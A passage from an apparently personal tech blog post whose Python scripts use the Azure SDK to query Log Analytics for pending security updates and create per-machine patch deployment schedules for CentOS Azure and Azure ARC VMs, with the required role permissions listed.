		<span class="n">reboot_setting</span> 						<span class="o">=</span> <span class="sh">"</span><span class="s">Always</span><span class="sh">"</span><span class="p">)</span>

	<span class="n">update_configuration</span> <span class="o">=</span> <span class="nc">UpdateConfiguration</span><span class="p">(</span>
		<span class="n">operating_system</span> 		<span class="o">=</span> <span class="n">OperatingSystemType</span><span class="p">.</span><span class="n">LINUX</span><span class="p">,</span>
		<span class="n">linux</span> 					<span class="o">=</span> <span class="n">linux_properties</span><span class="p">,</span>
		<span class="n">duration</span> 				<span class="o">=</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
		<span class="n">azure_virtual_machines</span> 	<span class="o">=</span> <span class="p">[</span><span class="n">centOS</span><span class="p">.</span><span class="nb">id</span><span class="p">])</span>
	
	<span class="n">software_update_configuration</span> <span class="o">=</span> <span class="nc">SoftwareUpdateConfiguration</span><span class="p">(</span>
		<span class="n">update_configuration</span> 	<span class="o">=</span> <span class="n">update_configuration</span><span class="p">,</span>
		<span class="n">schedule_info</span> 			<span class="o">=</span> <span class="n">schedule_info</span><span class="p">)</span>
	
	
	<span class="n">software_update_configuration_name</span> <span class="o">=</span> <span class="sh">"</span><span class="s">ari-iaasupdate-we-securityux-</span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">]</span> <span class="o">+</span> <span class="sh">"</span><span class="s"> =&gt; </span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="n">name</span>
	<span class="n">automation_client</span><span class="p">.</span><span class="n">software_update_configurations</span><span class="p">.</span><span class="nf">create</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">,</span> <span class="n">software_update_configuration_name</span><span class="p">,</span> <span class="n">software_update_configuration</span><span class="p">)</span>
	<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">VERBOSE, new deployment schedule created for CentOS VM : </span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="nb">id</span><span class="p">)</span></code></pre></figure> <h4 id="permissions">Permissions</h4> <p>In order for this script to work, the identity used to run the script must have the following permissions :</p> <ul> <li><b>Virtual Machines contributor</b> role on each subscription or resource group where you have CentOS VMs to update;</li> <li><b>Log Analytics reader</b> role on Log Analytics workspace that collect update data;</li> <li><b>Automation contributor</b> on the Automation Account you use for patch management.</li> </ul> <p>If you run the script on Azure, you should assign these permissions using <b>system-assigned managed identities</b>, c.f. <a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-portal-managed-identity">Microsoft documentation</a>.</p> <h4 id="run-the-script">Run the script</h4> <p>Once you ran the script, it will deploy one deployment schedule per VM, as shown below. If you click on the deployment schedule, then go to <b>Include/exclude updates</b>, you will see the explicit list of all updates to be installed on the VM. When configuring a deployment schedule like this, Azure no longer use the <code class="language-plaintext highlighter-rouge">yum install --security</code> command, but it uses the <code class="language-plaintext highlighter-rouge">yum install &lt;package1&gt; &lt;package2&gt; &lt;packagen&gt;</code> command!</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/centos_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/centos_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/centos_2-1400.webp"/> <img src="/assets/img/centos_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/centos_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/centos_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/centos_3-1400.webp"/> <img src="/assets/img/centos_3.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <h3 id="solution-for-azure-vms">Solution for Azure VMs</h3> <p>The script behavior is almost the same for Azure ARC VMs, the only things that change are the objects properties, because we now work with <i>Microsoft.HybridCompute/machines</i> resource type rather than <i>Microsoft.Compute/virtualMachines</i>. Here is the code.</p> <h4 id="step-1---iterate-over-all-machines-1">Step 1 - Iterate over all machines</h4> <p>As we did for the Azure VM version, we still need to import a lot of Azure dependencies, because our script will use the Azure Python SDK to manage our machines. If you decide to run this code in a runbook, take a look at the <a href="https://learn.microsoft.com/en-us/azure/automation/python-3-packages?tabs=py3">Microsoft documentation</a> to upload Python libraries accordingly. Additionally, you will find documentation references if you need additional information.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">######################################################################################################################################################
# MS API Docs - Automation account
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.automationclient
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.operations.softwareupdateconfigurationsoperations
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.models.softwareupdateconfiguration
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.models.scheduleproperties
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.models.updateconfiguration
</span>
<span class="c1"># MS API Docs - Log analytics
# https://docs.microsoft.com/en-us/python/api/overview/azure/monitor-query-readme?view=azure-python
# https://jihanjeeth.medium.com/log-retrieval-from-azure-log-analytics-using-python-52e8e8e5e870
######################################################################################################################################################
</span>
<span class="c1"># Azure packages
</span><span class="kn">from</span> <span class="n">azure.identity</span> <span class="kn">import</span> <span class="n">DefaultAzureCredential</span>
<span class="kn">from</span> <span class="n">azure.mgmt.automation</span> <span class="kn">import</span> <span class="n">AutomationClient</span>
<span class="kn">from</span> <span class="n">azure.mgmt.automation.models</span> <span class="kn">import</span> <span class="n">NonAzureQueryProperties</span><span class="p">,</span> <span class="n">ScheduleCreateOrUpdateParameters</span><span class="p">,</span> <span class="n">ScheduleFrequency</span><span class="p">,</span> <span class="n">SoftwareUpdateConfiguration</span><span class="p">,</span> <span class="n">UpdateConfiguration</span><span class="p">,</span> <span class="n">ScheduleProperties</span><span class="p">,</span> <span class="n">LinuxProperties</span><span class="p">,</span> <span class="n">LinuxUpdateClasses</span><span class="p">,</span> <span class="n">OperatingSystemType</span>
<span class="kn">from</span> <span class="n">azure.mgmt.loganalytics</span> <span class="kn">import</span> <span class="n">LogAnalyticsManagementClient</span>
<span class="kn">from</span> <span class="n">azure.mgmt.hybridcompute</span> <span class="kn">import</span> <span class="n">HybridComputeManagementClient</span>
<span class="kn">from</span> <span class="n">azure.loganalytics</span> <span class="kn">import</span> <span class="n">LogAnalyticsDataClient</span>
<span class="kn">from</span> <span class="n">azure.loganalytics.models</span> <span class="kn">import</span> <span class="n">QueryBody</span>
<span class="kn">from</span> <span class="n">azure.monitor.query</span> <span class="kn">import</span> <span class="n">LogsQueryClient</span><span class="p">,</span> <span class="n">LogsQueryStatus</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">import</span> <span class="n">automationassets</span>
<span class="c1"># from automationassets import AutomationAssetNotFound
</span>
<span class="c1"># Various packages
</span><span class="kn">import</span> <span class="n">pandas</span> <span class="k">as</span> <span class="n">pd</span>

<span class="c1"># System packages
</span><span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">pytz</span></code></pre></figure> <p>In this next piece of code, we load variables values from the Automation Account variable. In order to set these variables in automation accounts, check the <a href="https://learn.microsoft.com/en-us/azure/automation/shared-resources/variables?tabs=azure-powershell">Microsoft documentation</a>. Here, variables are the current automation account name, its resource group and its subscription. I guess there may be some dynamic function to retrieve this values from the runbook, but we decided to explicitly declare them in variables.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">##################################################################################################################
# 0. GET AUTOMATION ACCOUNT VARIABLES
</span><span class="n">automation_account_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">aa_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">resource_group_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">resource_group_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">subscription_id</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">subscription_id</span><span class="sh">"</span><span class="p">)</span></code></pre></figure> <p>Here, we create credentials using the DefaultAzureCredential() function, which will use the automation account managed identity to make the APIs calls. We will see later which permissions should be configured on the automation account. Then, we instanciate different clients to communicate with the Azure API.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1"># Instanciate all clients
</span><span class="n">token_credential</span> <span class="o">=</span> <span class="nc">DefaultAzureCredential</span><span class="p">()</span>
<span class="n">automation_client</span> <span class="o">=</span> <span class="nc">AutomationClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>
<span class="n">log_analytics_client</span> <span class="o">=</span> <span class="nc">LogAnalyticsManagementClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>
<span class="n">log_analytics_data_client</span> <span class="o">=</span> <span class="nc">LogsQueryClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">)</span>
<span class="n">hybrid_compute_management_client</span> <span class="o">=</span> <span class="nc">HybridComputeManagementClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span></code></pre></figure> <p>This next piece of code shows two variables that will be used later in the code. <code class="language-plaintext highlighter-rouge">DAYS</code> will be used to find the next available schedule to update the machine. The <code class="language-plaintext highlighter-rouge">regex</code> will be used to evaluate machines tags: as seen earlier, the pattern differs, based on the production or non production environment.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">DAYS</span> <span class="o">=</span> <span class="p">{</span>
	<span class="sh">"</span><span class="s">MON</span><span class="sh">"</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">TUE</span><span class="sh">"</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">WED</span><span class="sh">"</span><span class="p">:</span><span class="mi">2</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">THU</span><span class="sh">"</span><span class="p">:</span><span class="mi">3</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">FRI</span><span class="sh">"</span><span class="p">:</span><span class="mi">4</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">SAT</span><span class="sh">"</span><span class="p">:</span><span class="mi">5</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">SUN</span><span class="sh">"</span><span class="p">:</span><span class="mi">6</span>
<span class="p">}</span>
<span class="c1"># Match only non prod machines
</span><span class="n">regex</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nf">compile</span><span class="p">(</span><span class="sh">"</span><span class="s">^CENTOS-[RQ]-(MON|TUE|WED|THU|FRI|SAT|SUN)-(03|12|22):00$</span><span class="sh">"</span><span class="p">)</span>
<span class="c1"># Match only prod machines
# regex = re.compile("^CENTOS-[P]-(MON|TUE|WED|THU|FRI|SAT|SUN)-(03|12|22):00$")</span></code></pre></figure> <p>Here begins the interesting part : in my architecture, all Azure ARC VMs coming from OVH are deployed in an OVH resource group. For this reason, the script iterates over all the machine belonging to a single resource group. In this simple loop, we ensure the patch tag is compliant with what we defined, and we also ensure that the VM is a CentOS VM.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">###############################################################
# 1. GET AND SANITIZE ALL CENTOS VMs THAT NEED TO BE PATCHED
# 	 First, we check that the 'patch' tag is compliant
# 	 Then, We check that the OS is indeed CentOS
</span>
<span class="n">centOSs</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">hybrid_compute_management_client</span><span class="p">.</span><span class="n">machines</span><span class="p">.</span><span class="nf">list_by_resource_group</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">):</span>
	<span class="c1"># Check PATCH value
</span>	<span class="k">if</span> <span class="ow">not</span> <span class="n">item</span><span class="p">.</span><span class="n">tags</span> <span class="ow">or</span> <span class="ow">not</span> <span class="sh">'</span><span class="s">patch</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">item</span><span class="p">.</span><span class="n">tags</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
		<span class="k">continue</span>
	<span class="k">if</span> <span class="ow">not</span> <span class="n">regex</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="n">item</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">]):</span>
		<span class="k">continue</span>
	
	<span class="c1"># Check OS value
</span>	<span class="k">if</span> <span class="n">item</span><span class="p">.</span><span class="n">properties</span><span class="p">.</span><span class="n">os_sku</span> <span class="ow">and</span> <span class="sh">"</span><span class="s">CentOS</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">item</span><span class="p">.</span><span class="n">properties</span><span class="p">.</span><span class="n">os_sku</span><span class="p">:</span>
		<span class="n">centOSs</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
	<span class="k">else</span><span class="p">:</span>
		<span class="k">continue</span></code></pre></figure> <h4 id="step-2---retrieve-all-updates-1">Step 2 - Retrieve all updates</h4> <p>We now have a list of machines to update, and we need to get all available updates for each machine. For this, we send a KQL query to the Log Analytics workspaces that collects updates information : we store this in the <code class="language-plaintext highlighter-rouge">df</code> variable.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">##############################################################################
# 2. RETIEVE ALL SECURITY AND CRITICAL UPDATES NEEDED BY ALL LINUX MACHINES
# 	 All machines that are not in this table :
# 		a. Do not report to the Log Analytics =&gt; To troubleshoot
# 		b. Or do not need update =&gt; Fine
</span><span class="n">query</span> <span class="o">=</span> <span class="sh">'''</span><span class="s">Update
		| where TimeGenerated&gt;ago(5h) and OSType==</span><span class="sh">"</span><span class="s">Linux</span><span class="sh">"</span><span class="s">
		| summarize hint.strategy=partitioned arg_max(TimeGenerated, UpdateState, Classification, BulletinUrl, BulletinID) by ResourceId, Computer, SourceComputerId, Product, ProductArch
		| where UpdateState=~</span><span class="sh">"</span><span class="s">Needed</span><span class="sh">"</span><span class="s">
		| project-away UpdateState, TimeGenerated
		| summarize computersCount=dcount(SourceComputerId, 2), ClassificationWeight=max(iff(Classification has </span><span class="sh">"</span><span class="s">Critical</span><span class="sh">"</span><span class="s">, 4, iff(Classification has </span><span class="sh">"</span><span class="s">Security</span><span class="sh">"</span><span class="s">, 2, 1))) by ResourceId, Computer, id=strcat(Product, </span><span class="sh">"</span><span class="s">_</span><span class="sh">"</span><span class="s">, ProductArch), displayName=Product, productArch=ProductArch, classification=Classification, InformationId=BulletinID, InformationUrl=tostring(split(BulletinUrl, </span><span class="sh">"</span><span class="s">;</span><span class="sh">"</span><span class="s">, 0)[0]), osType=1
		| sort by ClassificationWeight desc, computersCount desc, displayName asc
		| extend informationLink=(iff(isnotempty(InformationId) and isnotempty(InformationUrl), toobject(strcat(</span><span class="sh">'</span><span class="s">{ </span><span class="sh">"</span><span class="s">uri</span><span class="sh">"</span><span class="s">: </span><span class="sh">"'</span><span class="s">, InformationUrl, </span><span class="sh">'"</span><span class="s">, </span><span class="sh">"</span><span class="s">text</span><span class="sh">"</span><span class="s">: </span><span class="sh">"'</span><span class="s">, InformationId, </span><span class="sh">'"</span><span class="s">, </span><span class="sh">"</span><span class="s">target</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">blank</span><span class="sh">"</span><span class="s"> }</span><span class="sh">'</span><span class="s">)), toobject(</span><span class="sh">''</span><span class="s">)))
		| project-away ClassificationWeight, InformationId, InformationUrl
		| where classification has </span><span class="sh">"</span><span class="s">Security</span><span class="sh">"</span><span class="s"> or classification has </span><span class="sh">"</span><span class="s">Critical</span><span class="sh">"'''</span>
<span class="n">workspace_name</span> 			<span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">linked_workspace</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">).</span><span class="nb">id</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">workspace_id</span> 			<span class="o">=</span> <span class="n">log_analytics_client</span><span class="p">.</span><span class="n">workspaces</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">workspace_name</span><span class="p">).</span><span class="n">customer_id</span>
<span class="n">workspace</span> 				<span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">linked_workspace</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">)</span>

<span class="c1"># SEND REQUEST
</span><span class="n">end_time</span>	<span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">pytz</span><span class="p">.</span><span class="nf">timezone</span><span class="p">(</span><span class="sh">"</span><span class="s">Europe/Paris</span><span class="sh">"</span><span class="p">))</span>
<span class="n">start_time</span> 	<span class="o">=</span> <span class="n">end_time</span> <span class="o">-</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">response</span> 	<span class="o">=</span> <span class="n">log_analytics_data_client</span><span class="p">.</span><span class="nf">query_workspace</span><span class="p">(</span><span class="n">workspace_id</span><span class="p">,</span> <span class="n">query</span><span class="p">,</span> <span class="n">timespan</span><span class="o">=</span><span class="p">(</span><span class="n">start_time</span><span class="p">,</span> <span class="n">end_time</span><span class="p">))</span>

<span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">status</span> <span class="o">==</span> <span class="n">LogsQueryStatus</span><span class="p">.</span><span class="n">PARTIAL</span><span class="p">:</span>
	<span class="n">error</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">partial_error</span>
	<span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">partial_data</span>
	<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">ERROR, unknown error when requesting Log Analytics</span><span class="sh">"</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">response</span><span class="p">.</span><span class="n">status</span> <span class="o">==</span> <span class="n">LogsQueryStatus</span><span class="p">.</span><span class="n">SUCCESS</span><span class="p">:</span>
	<span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">tables</span>
<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="nc">DataFrame</span><span class="p">(</span><span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">rows</span><span class="p">,</span> <span class="n">columns</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">columns</span><span class="p">)</span></code></pre></figure> <h4 id="step-3---deploy-or-update-deployment-schedules-1">Step 3 - Deploy or update deployment schedules</h4> <p>In this last part of the script, we iterate over our machines to update, and we check in our <code class="language-plaintext highlighter-rouge">df</code> variable if the current machine needs updates :</p> <ul> <li>if it doesn’t, then we ignore it and directly go to the next loop iteration.</li> <li>if it does, we calculate the next schedule when the machine should be updated, based on its patch tag, and then we instanciate the necessary objects that will create the deployment schedules in our automation account.</li> </ul> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">##############################################################################
# 3. ITERATE OVER OUR CENTOS :
#	Step 1 - Get needed updates
#	Step 2 - Calculate next schedule
#	Step 3 - Create the deployment schedule
</span><span class="k">for</span> <span class="n">centOS</span> <span class="ow">in</span> <span class="n">centOSs</span><span class="p">:</span>
	<span class="c1"># Step 1 - Get needed updates
</span>	<span class="n">updates</span> <span class="o">=</span> <span class="p">[]</span>
	<span class="c1"># The following line filters dataFrame to return all lines for which
</span>	<span class="c1"># the column ResourceId contains centOS.id.
</span>	<span class="c1"># Note : we convert all strings to lower() to avoid any issue
</span>	<span class="n">updates_df</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="n">df</span><span class="p">[</span><span class="sh">'</span><span class="s">ResourceId</span><span class="sh">'</span><span class="p">].</span><span class="nb">str</span><span class="p">.</span><span class="nf">lower</span><span class="p">().</span><span class="nb">str</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="n">centOS</span><span class="p">.</span><span class="nb">id</span><span class="p">.</span><span class="nf">lower</span><span class="p">())]</span>
	<span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">updates_df</span><span class="p">.</span><span class="nf">iterrows</span><span class="p">():</span>
		<span class="n">updates</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>
	<span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">updates</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
		<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">This </span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="nb">id</span> <span class="o">+</span> <span class="sh">"</span><span class="s"> do not need to be patched</span><span class="sh">"</span><span class="p">)</span>
		<span class="k">continue</span>
	
	<span class="c1"># Step 2 - Calculate next schedule
</span>	<span class="c1"># Get info from tag, and get current date
</span>	<span class="n">target_day</span> <span class="o">=</span> <span class="n">DAYS</span><span class="p">[</span><span class="n">centOS</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)[</span><span class="mi">2</span><span class="p">]]</span>
	<span class="n">target_hour</span><span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">centOS</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)[</span><span class="mi">3</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
	<span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">()</span>

	<span class="c1"># Find how many days until the next update
</span>	<span class="c1"># E.g. if the script runs SUNDAY, and we need to patch WEDNESDAY :
</span>	<span class="c1">#	SUNDAY - WEDNESDAY = 6 - 3 = 3 days
</span>	<span class="c1"># So next occurence will be the current date + 3 days.
</span>	<span class="n">days_from_now</span> <span class="o">=</span> <span class="p">(</span><span class="n">target_day</span> <span class="o">-</span> <span class="n">now</span><span class="p">.</span><span class="nf">weekday</span><span class="p">())</span> <span class="o">%</span> <span class="mi">7</span>
	<span class="n">target_date</span> <span class="o">=</span> <span class="n">now</span> <span class="o">+</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="n">days_from_now</span><span class="p">)</span>

	<span class="c1"># Modify our target date with appropriate hours, minutes and seconds
</span>	<span class="n">target_date</span> <span class="o">=</span> <span class="nf">datetime</span><span class="p">(</span><span class="n">target_date</span><span class="p">.</span><span class="n">year</span><span class="p">,</span> <span class="n">target_date</span><span class="p">.</span><span class="n">month</span><span class="p">,</span> <span class="n">target_date</span><span class="p">.</span><span class="n">day</span><span class="p">,</span> <span class="n">target_hour</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

	<span class="c1"># This conditions handles the case where days_from_now = 0
</span>	<span class="k">if</span> <span class="n">target_date</span> <span class="o">&lt;</span> <span class="n">now</span><span class="p">:</span>
		<span class="n">target_date</span> <span class="o">=</span> <span class="n">target_date</span> <span class="o">+</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">7</span><span class="p">)</span>

	<span class="c1"># Step 3 - Create the deployment schedule
</span>	<span class="n">schedule_info</span> <span class="o">=</span> <span class="nc">ScheduleProperties</span><span class="p">(</span>
		<span class="n">start_time</span> 	<span class="o">=</span> <span class="n">target_date</span><span class="p">,</span>
		<span class="n">time_zone</span> 	<span class="o">=</span> <span class="sh">"</span><span class="s">Europe/Paris</span><span class="sh">"</span><span class="p">,</span>
		<span class="n">is_enabled</span> 	<span class="o">=</span> <span class="bp">True</span><span class="p">,</span>
		<span class="n">frequency</span> 	<span class="o">=</span> <span class="n">ScheduleFrequency</span><span class="p">.</span><span class="n">ONE_TIME</span><span class="p">)</span>

	<span class="n">linux_properties</span> <span class="o">=</span> <span class="nc">LinuxProperties</span><span class="p">(</span>
		<span class="n">included_package_classifications</span>	<span class="o">=</span> <span class="bp">None</span><span class="p">,</span>
		<span class="n">included_package_name_masks</span> 		<span class="o">=</span> <span class="n">updates</span><span class="p">,</span>
		<span class="n">reboot_setting</span> 						<span class="o">=</span> <span class="sh">"</span><span class="s">Always</span><span class="sh">"</span><span class="p">)</span>

	<span class="n">update_configuration</span> <span class="o">=</span> <span class="nc">UpdateConfiguration</span><span class="p">(</span>
		<span class="n">operating_system</span>	 		<span class="o">=</span> <span class="n">OperatingSystemType</span><span class="p">.</span><span class="n">LINUX</span><span class="p">,</span>
		<span class="n">linux</span>	 					<span class="o">=</span> <span class="n">linux_properties</span><span class="p">,</span>
		<span class="n">duration</span> 					<span class="o">=</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
		<span class="n">non_azure_computer_names</span> 	<span class="o">=</span> <span class="p">[</span><span class="n">centOS</span><span class="p">.</span><span class="n">name</span><span class="p">])</span>

	<span class="n">software_update_configuration</span> <span class="o">=</span> <span class="nc">SoftwareUpdateConfiguration</span><span class="p">(</span>
		<span class="n">update_configuration</span> 	<span class="o">=</span> <span class="n">update_configuration</span><span class="p">,</span>
		<span class="n">schedule_info</span> 			<span class="o">=</span> <span class="n">schedule_info</span><span class="p">)</span>

	<span class="n">software_update_configuration_name</span> <span class="o">=</span> <span class="sh">"</span><span class="s">ari-iaasupdate-we-securityux-</span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">]</span> <span class="o">+</span> <span class="sh">"</span><span class="s"> =&gt; </span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="n">name</span>
	<span class="n">automation_client</span><span class="p">.</span><span class="n">software_update_configurations</span><span class="p">.</span><span class="nf">create</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">,</span> <span class="n">software_update_configuration_name</span><span class="p">,</span> <span class="n">software_update_configuration</span><span class="p">)</span>
	<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">VERBOSE, new deployment schedule created for CentOS Azure ARC VM : </span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="nb">id</span><span class="p">)</span></code></pre></figure> <h4 id="permissions-1">Permissions</h4> <p>In order for this script to work, the identity used to run the script must have the following permissions :</p> <ul> <li><b>Azure Connected Machine Resource Administrator</b> role on each subscription or resource group where you have CentOS VMs to update;</li> <li><b>Log Analytics reader</b> role on Log Analytics workspace that collect update data;</li> <li><b>Automation contributor</b> on the Automation Account you use for patch management.</li> </ul> <p>If you run the script on Azure, you should assign these permissions using <b>system-assigned managed identities</b>, c.f. <a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-portal-managed-identity">Microsoft documentation</a>.</p> <h4 id="run-the-script-1">Run the script</h4> <p>Once you ran the script, it will deploy one deployment schedule per VM, as shown below. If you click on the deployment schedule, then go to <b>Include/exclude updates</b>, you will see the explicit list of all updates to be installed on the VM. When configuring a deployment schedule like this, Azure no longer use the <code class="language-plaintext highlighter-rouge">yum install --security</code> command, but it uses the <code class="language-plaintext highlighter-rouge">yum install &lt;package1&gt; &lt;package2&gt; &lt;packagen&gt;</code> command!</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/centos_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/centos_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/centos_2-1400.webp"/> <img 